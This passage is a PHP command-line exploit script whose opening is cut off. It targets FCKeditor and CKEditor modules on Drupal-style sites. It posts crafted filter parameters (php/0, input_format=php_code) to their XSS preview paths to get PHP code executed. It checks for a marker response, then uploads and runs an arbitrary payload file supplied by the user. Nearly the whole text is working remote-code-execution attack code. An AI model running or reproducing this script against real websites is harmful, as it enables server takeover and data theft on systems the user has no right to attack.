tags. See admin_sid.php for an example. * */ if (!isset($argv[1])) { echo "You must give URL such as http://example.com/"; return; } $site = $argv[1]; $cookie = isset($argv[2]) ? $argv[2] : ''; $payloadfile = isset($argv[3]) ? $argv[3] : ''; $exploits = array( 'fckeditor' => array( 'path' => 'fckeditor/xss', 'pre' => 'filters[0]=php/0&text=', ), 'ckeditor v6' => array( 'path' => 'ckeditor/xss', 'pre' => 'filters[0]=php/0&text=', ), 'ckeditor v7' => array( 'path' => 'ckeditor/xss', 'pre' => 'filters[0]=aaa&textformat_filters=true&input_format=php_code&text=', ), ); echo "\nWorking on $site"; foreach ($exploits as $editor => $exploit) { echo "\n - $editor"; $url = $site . '/?q=' . urlencode($exploit['path']); $result = post($url, $exploit['pre'] . urlencode(""), $cookie); switch ($result['info']['http_code']) { case 200: if ($result['content'] == 'patroscon has risen') { echo "\n - exploitable"; if ($payloadfile) { echo "\n - injecting payload"; $payload = file_get_contents($payloadfile); $result = post($url, $exploit['pre'] . urlencode($payload), $cookie); echo "\n\n********* Payload result [{$result['info']['http_code']}] ******************************************************************"; echo "\n" . $result['content']; echo "\n********** End payload **************************************************************************"; } echo "\n"; return; } else { echo "\n - unable to execute PHP"; } break; case 404: echo "\n - not installed"; break; case 403: echo "\n - access denied"; break; default: echo "\n - an unknown error occured."; } } echo "\n"; function post($url, $fields, $cookie) { $handle = curl_init($url); if (!$handle) { return; } curl_setopt_array($handle, array( CURLOPT_POST => TRUE, CURLOPT_POSTFIELDS => $fields, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_COOKIE => $cookie, )); $result = curl_exec($handle); $info = curl_getinfo($handle); curl_close($handle); return array('content' => $result, 'info' => $info); }